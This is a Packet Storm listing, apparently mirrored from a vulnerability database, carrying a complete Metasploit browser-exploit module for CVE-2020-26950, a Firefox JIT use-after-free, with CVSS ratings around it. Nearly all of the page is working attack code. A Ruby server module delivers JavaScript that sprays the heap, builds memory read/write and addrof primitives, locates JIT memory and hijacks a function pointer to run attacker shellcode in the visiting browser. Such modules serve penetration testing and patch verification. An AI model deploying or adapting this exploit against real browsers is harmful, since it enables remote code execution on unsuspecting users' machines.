Lucene search

K
packetstormTimwr, maxpl0it, 360 ESG Vulnerability Research Institute, metasploit.comPACKETSTORM:166175
HistoryMar 01, 2022 - 12:00 a.m.

Firefox MCallGetProperty Write Side Effects Use-After-Free

2022-03-0100:00:00
timwr, maxpl0it, 360 ESG Vulnerability Research Institute, metasploit.com
packetstormsecurity.com
201

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

9.3 High

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Exploit::Remote::HttpServer::BrowserExploit  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Firefox MCallGetProperty Write Side Effects Use After Free Exploit',  
'Description' => %q{  
This modules exploits CVE-2020-26950, a use after free exploit in Firefox.  
The MCallGetProperty opcode can be emitted with unmet assumptions resulting  
in an exploitable use-after-free condition.  
  
This exploit uses a somewhat novel technique of spraying ArgumentsData  
structures in order to construct primitives. The shellcode is forced into  
executable memory via the JIT compiler, and executed by writing to the JIT  
region pointer.  
  
This exploit does not contain a sandbox escape, so firefox must be run  
with the MOZ_DISABLE_CONTENT_SANDBOX environment variable set, in order  
for the shellcode to run successfully.  
  
This vulnerability affects Firefox < 82.0.3, Firefox ESR < 78.4.1, and  
Thunderbird < 78.4.2, however only Firefox <= 79 is supported as a target.  
Additional work may be needed to support other versions such as Firefox 82.0.1.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'360 ESG Vulnerability Research Institute', # discovery  
'maxpl0it', # writeup and exploit  
'timwr', # metasploit module  
],  
'References' => [  
['CVE', '2020-26950'],  
['URL', 'https://www.mozilla.org/en-US/security/advisories/mfsa2020-49/#CVE-2020-26950'],  
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1675905'],  
['URL', 'https://www.sentinelone.com/labs/firefox-jit-use-after-frees-exploiting-cve-2020-26950/'],  
],  
'Arch' => [ ARCH_X64 ],  
'Platform' => ['linux', 'windows'],  
'DefaultTarget' => 0,  
'Targets' => [  
[ 'Automatic', {}],  
],  
'Notes' => {  
'Reliability' => [ REPEATABLE_SESSION ],  
'SideEffects' => [ IOC_IN_LOGS ],  
'Stability' => [CRASH_SAFE]  
},  
'DisclosureDate' => '2020-11-18'  
)  
)  
end  
  
def create_js_shellcode  
shellcode = "AAAA\x00\x00\x00\x00" + "\x90\x90\x90\x90\x90\x90\x90\x90" + payload.encoded  
if (shellcode.length % 8 > 0)  
shellcode += "\x00" * (8 - shellcode.length % 8)  
end  
shellcode_js = ''  
for chunk in 0..(shellcode.length / 8) - 1  
label = (0x41 + chunk / 26).chr + (0x41 + chunk % 26).chr  
shellcode_chunk = shellcode[chunk * 8..(chunk + 1) * 8]  
shellcode_js += label + ' = ' + shellcode_chunk.unpack('E').first.to_s + "\n"  
end  
shellcode_js  
end  
  
def on_request_uri(cli, request)  
print_status("Sending #{request.uri} to #{request['User-Agent']}")  
shellcode_js = create_js_shellcode  
jscript = <<~JS  
// Triggers the vulnerability  
function jitme(cons, interesting, i) {  
interesting.x1 = 10; // Make sure the MSlots is saved  
  
new cons(); // Trigger the vulnerability - Reallocates the object slots  
  
// Allocate a large array on top of this previous slots location.  
let target = [0,1,2,3,4,5,6,7,8,9,10,11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489]; // Goes on to 489 to be close to the number of properties ‘cons’ has  
  
// Avoid Elements Copy-On-Write by pushing a value  
target.push(i);  
  
// Write the Initialized Length, Capacity, and Length to be larger than it is  
// This will work when interesting == cons  
interesting.x1 = 3.476677904727e-310;  
interesting.x0 = 3.4766779039175e-310;  
  
// Return the corrupted array  
return target;  
}  
  
// Initialises vulnerable objects  
function init() {  
// arr will contain our sprayed objects  
var arr = [];  
  
// We'll create one object...  
var cons = function() {};  
for(j=0; j<512; j++) cons['x'+j] = j; // Add 512 properties (Large jemalloc allocation)  
arr.push(cons);  
  
// ...then duplicate it a whole bunch of times  
// The number of times has two uses:  
// - Heap spray - Stops any already freed objects getting in our way  
// - Allows us to get the jitme function compiled  
for (var i = 0; i < 20000; i++) arr.push(Object.assign(function(){}, cons));  
  
// Return the array  
return arr;  
}  
  
// Global that holds the total number of objects in our original spray array  
TOTAL = 0;  
  
// Global that holds the target argument so it can be used later  
arg = 0;  
  
evil = 0;  
  
// setup_prim - Performs recursion to get the vulnerable arguments object  
// arguments[0] - Original spray array  
// arguments[1] - Recursive depth counter  
// arguments[2]+ - Numbers to pad to the right reallocation size  
function setup_prim() {  
// Base case of our recursion  
// If we have reached the end of the original spray array...  
if(arguments[1] == TOTAL) {  
  
// Delete an argument to generate the RareArgumentsData pointer  
delete arguments[3];  
  
// Read out of bounds to the next object (sprayed objects)  
// Check whether the RareArgumentsData pointer is null  
if(evil[511] != 0) return arguments;  
  
// If it was null, then we return and try the next one  
return 0;  
}  
  
// Get the cons value  
let cons = arguments[0][arguments[1]];  
  
// Move the pointer (could just do cons.p481 = 481, but this is more fun)  
new cons();  
  
// Recursive call  
res = setup_prim(arguments[0], arguments[1]+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480 );  
  
// If the returned value is non-zero, then we found our target ArgumentsData object, so keep returning it  
if(res != 0) return res;  
  
// Otherwise, repeat the base case (delete an argument)  
delete arguments[3];  
  
// Check if the next object has a null RareArgumentsData pointer  
if(evil[511] != 0) return arguments; // Return arguments if not  
  
// Otherwise just return 0 and try the next one  
return 0;  
}  
  
// weak_read32 - Bit-by-bit read  
function weak_read32(arg, addr) {  
// Set the RareArgumentsData pointer to the address  
evil[511] = addr;  
  
// Used to hold the leaked data  
let val = 0;  
  
// Read it bit-by-bit for 32 bits  
// Endianness is taken into account  
for(let i = 32; i >= 0; i--) {  
val = val << 1; // Shift  
if(arg[i] == undefined) {  
val = val | 1;  
}  
}  
  
// Return the integer  
return val;  
}  
  
// weak_read64 - Bit-by-bit read using BigUint64Array  
function weak_read64(arg, addr) {  
// Set the RareArgumentsData pointer to the address  
evil[511] = addr;  
  
// Used to hold the leaked data  
val = new BigUint64Array(1);  
val[0] = 0n;  
  
// Read it bit-by-bit for 64 bits  
for(let i = 64; i >= 0; i--) {  
val[0] = val[0] << 1n;  
if(arg[i] == undefined) {  
val[0] = val[0] | 1n;  
}  
}  
  
// Return the BigInt  
return val[0];  
}  
  
// write_nan - Uses the bit-setting capability of the bitmap to create the NaN-Box  
function write_nan(arg, addr) {  
evil[511] = addr;  
for(let i = 64 - 15; i < 64; i++) delete arg[i]; // Delete bits 49-64 to create 0xfffe pointer box  
}  
  
// write - Write a value to an address  
function write(address, value) {  
// Set the fake ArrayBuffer backing store address  
address = dbl_to_bigint(address)  
target_uint32arr[14] = parseInt(address) & 0xffffffff  
target_uint32arr[15] = parseInt(address >> 32n);  
  
// Use the fake ArrayBuffer backing store to write a value to a location  
value = dbl_to_bigint(value);  
fake_arrbuf[1] = parseInt(value >> 32n);  
fake_arrbuf[0] = parseInt(value & 0xffffffffn);  
}  
  
// addrof - Gets the address of a given object  
function addrof(arg, o) {  
// Set the 5th property of the arguments object  
arg[5] = o;  
  
// Get the address of the 5th property  
target = ad_location + (7n * 8n) // [len][deleted][0][1][2][3][4][5] (index 7)  
  
// Set the fake ArrayBuffer backing store to point to this location  
target_uint32arr[14] = parseInt(target) & 0xffffffff;  
target_uint32arr[15] = parseInt(target >> 32n);  
  
// Read the address of the object o  
return (BigInt(fake_arrbuf[1] & 0xffff) << 32n) + BigInt(fake_arrbuf[0]);  
}  
  
// shellcode - Constant values which hold our shellcode to pop xcalc.  
function shellcode(){  
#{shellcode_js}  
}  
  
// helper functions  
var conv_buf = new ArrayBuffer(8);  
var f64_buf = new Float64Array(conv_buf);  
var u64_buf = new Uint32Array(conv_buf);  
  
function dbl_to_bigint(val) {  
f64_buf[0] = val;  
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);  
}  
  
function bigint_to_dbl(val) {  
u64_buf[0] = Number(val & 0xffffffffn);  
u64_buf[1] = Number(val >> 32n);  
return f64_buf[0];  
}  
  
function main() {  
let i = 0;  
// ensure the shellcode is in jit rwx memory  
for(i = 0;i < 0x5000; i++) shellcode();  
  
// The jitme function returns arrays. We'll save them, just in case.  
let arr_saved = [];  
  
// Get the sprayed objects  
let arr = init();  
  
// This is our target object. Choosing one of the end ones so that there is enough time for jitme to be compiled  
let interesting = arr[arr.length - 10];  
  
// Iterate over the vulnerable object array  
for (i = 0; i < arr.length; i++) {  
// Run the jitme function across the array  
corr_arr = jitme(arr[i], interesting, i);  
  
// Save the generated array. Never trust the garbage collector.  
arr_saved[i] = corr_arr;  
  
// Find the corrupted array  
if(corr_arr.length != 491) {  
// Save it for future evil  
evil = corr_arr  
break;  
}  
}  
  
if(evil == 0) {  
print("Failure: Failed to get the corrupted array");  
return;  
}  
print("got the corrupted array " + evil.length);  
  
TOTAL=arr.length;  
arg = setup_prim(arr, i+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480);  
  
old_rareargdat_ptr = evil[511];  
print("Leaked nursery location: " + dbl_to_bigint(old_rareargdat_ptr).toString(16));  
  
iterator = dbl_to_bigint(old_rareargdat_ptr); // Start from this value  
counter = 0; // Used to prevent a while(true) situation  
while(counter < 0x200) {  
// Read the current address  
output = weak_read32(arg, bigint_to_dbl(iterator));  
  
// Check if it's the expected size value for our ArgumentsObject object  
if(output == 0x1e10 || output == 0x1e20) {  
// If it is, then read the ArgumentsData pointer  
ad_location = weak_read64(arg, bigint_to_dbl(iterator + 8n));  
  
// Get the pointer in ArgumentsData to RareArgumentsData  
ptr_in_argdat = weak_read64(arg, bigint_to_dbl(ad_location + 8n));  
  
// ad_location + 8 points to the RareArgumentsData pointer, so this should match  
// We do this because after spraying arguments, there may be a few ArgumentObjects to go past  
if((ad_location + 8n) == ptr_in_argdat) break;  
}  
// Iterate backwards  
iterator = iterator - 8n;  
  
// Increment counter  
counter += 1;  
}  
  
if(counter == 0x200) {  
print("Failure: Failed to get AD location");  
return;  
}  
  
print("AD location: " + ad_location.toString(16));  
  
// The target Uint32Array - A large size value to:  
// - Help find the object (Not many 0x00101337 values nearby!)  
// - Give enough space for 0xfffff so we can fake a Nursery Cell ((ptr & 0xfffffffffff00000) | 0xfffe8 must be set to 1 to avoid crashes)  
target_uint32arr = new Uint32Array(0x101337);  
  
// Find the Uint32Array starting from the original leaked Nursery pointer  
iterator = dbl_to_bigint(old_rareargdat_ptr);  
counter = 0; // Use a counter  
while(counter < 0x5000) {  
  
// Read a memory address  
output = weak_read32(arg, bigint_to_dbl(iterator));  
  
// If we have found the right size value, we have found the Uint32Array!  
if(output == 0x101337) break;  
  
// Check the next memory location  
iterator = iterator + 8n;  
  
// Increment the counter  
counter += 1;  
}  
  
if(counter == 0x5000) {  
print("Failure: Failed to find the Uint32Array");  
return;  
}  
  
// Subtract from the size value address to get to the start of the Uint32Array  
arr_buf_addr = iterator - 40n;  
  
// Get the Array Buffer backing store  
arr_buf_loc = weak_read64(arg, bigint_to_dbl(iterator + 16n));  
print("AB Location: " + arr_buf_loc.toString(16));  
  
// Create a fake ArrayBuffer through cloning  
iterator = arr_buf_addr;  
for(i=0;i<64;i++) {  
output = weak_read32(arg, bigint_to_dbl(iterator));  
target_uint32arr[i] = output;  
iterator = iterator + 4n;  
}  
  
// Cell Header - Set it to Nursery to pass isNursery()  
target_uint32arr[0x3fffa] = 1;  
  
// Write an unboxed pointer to arguments[0]  
evil[512] = bigint_to_dbl(arr_buf_loc);  
  
// Make it NaN-Boxed  
write_nan(arg, bigint_to_dbl(ad_location + 16n)); // Points to evil[512]/arguments[0]  
  
// From here we have a fake UintArray in arg[0]  
// Pointer can be changed using target_uint32arr[14] and target_uint32arr[15]  
fake_arrbuf = arg[0];  
  
// Get the address of the shellcode function object  
shellcode_addr = addrof(arg, shellcode);  
print("Function is at: " + shellcode_addr.toString(16));  
  
// Get the jitInfo pointer in the JSFunction object  
jitinfo = weak_read64(arg, bigint_to_dbl(shellcode_addr + 0x30n)); // JSFunction.u.native.extra.jitInfo_  
print(" jitinfo: " + jitinfo.toString(16));  
  
// We can then fetch the RX region from here  
rx_region = weak_read64(arg, bigint_to_dbl(jitinfo));  
print(" RX Region: " + rx_region.toString(16));  
  
iterator = rx_region; // Start from the RX region  
found = false  
// Iterate to find the 0x41414141 value in-memory. 8 bytes after this is the start of the shellcode.  
for(i = 0; i < 0x800; i++) {  
data = weak_read64(arg, bigint_to_dbl(iterator));  
if(data == 0x41414141n) {  
iterator = iterator + 8n;  
found = true;  
break;  
}  
iterator = iterator + 8n;  
}  
if(!found) {  
print("Failure: Failed to find the JIT start");  
return;  
}  
  
// We now have a pointer to the start of the shellcode  
shellcode_location = iterator;  
print("Shellcode start: " + shellcode_location.toString(16));  
  
// And can now overwrite the previous jitInfo pointer with our shellcode pointer  
write(bigint_to_dbl(jitinfo), bigint_to_dbl(shellcode_location));  
  
print("Triggering...");  
shellcode(); // Triggering our shellcode is as simple as calling the function again.  
}  
main();  
JS  
  
jscript = add_debug_print_js(jscript)  
html = %(  
<html>  
<script>  
#{jscript}  
</script>  
</html>  
)  
send_response(cli, html, {  
'Content-Type' => 'text/html',  
'Cache-Control' => 'no-cache, no-store, must-revalidate',  
'Pragma' => 'no-cache', 'Expires' => '0'  
})  
end  
  
end  
`

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

9.3 High

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C